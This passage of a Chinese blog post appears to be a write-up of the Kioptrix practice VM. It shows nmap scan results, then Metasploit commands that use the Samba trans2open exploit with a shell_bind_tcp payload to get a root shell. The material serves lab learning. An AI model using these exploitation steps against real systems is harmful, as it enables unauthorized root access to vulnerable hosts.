    | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
    | Not valid before: 2009-09-26T09:32:06
    |_Not valid after:  2010-09-26T09:32:06
    |_ssl-date: 2022-08-03T21:43:38+00:00; +1m50s from scanner time.
    |_http-title: 400 Bad Request
    | sslv2: 
    |   SSLv2 supported
    |   ciphers: 
    |     SSL2_RC4_64_WITH_MD5
    |     SSL2_RC4_128_WITH_MD5
    |     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
    |     SSL2_DES_192_EDE3_CBC_WITH_MD5
    |     SSL2_RC4_128_EXPORT40_WITH_MD5
    |     SSL2_RC2_128_CBC_WITH_MD5
    |_    SSL2_DES_64_CBC_WITH_MD5
    1024/tcp open  status      1 (RPC #100024)
    MAC Address: 00:0C:29:11:17:59 (VMware)
    Device type: general purpose
    Running: Linux 2.4.X
    OS CPE: cpe:/o:linux:linux_kernel:2.4
    OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
    Network Distance: 1 hop
    
    Host script results:
    |_clock-skew: 1m49s
    |_smb2-time: Protocol negotiation failed (SMB2)
    |_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
    
    
  • 漏洞发现

    
    对Samba漏洞进行利用
    
  • 漏洞利用

    
    msf
    
    search linux/samba/trans2open
    
    set payload linux/x86/shell_bind_tcp
    
    然后调好rhost 和 lhost这些,运行
    
    id
    uid=0(root) gid=0(root) groups=99(nobody)
    
    

启发

  • 对于在kali或者msf里面搜索漏洞然后利用的内容还是要学习

-------------------2022-08-04---------------------

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值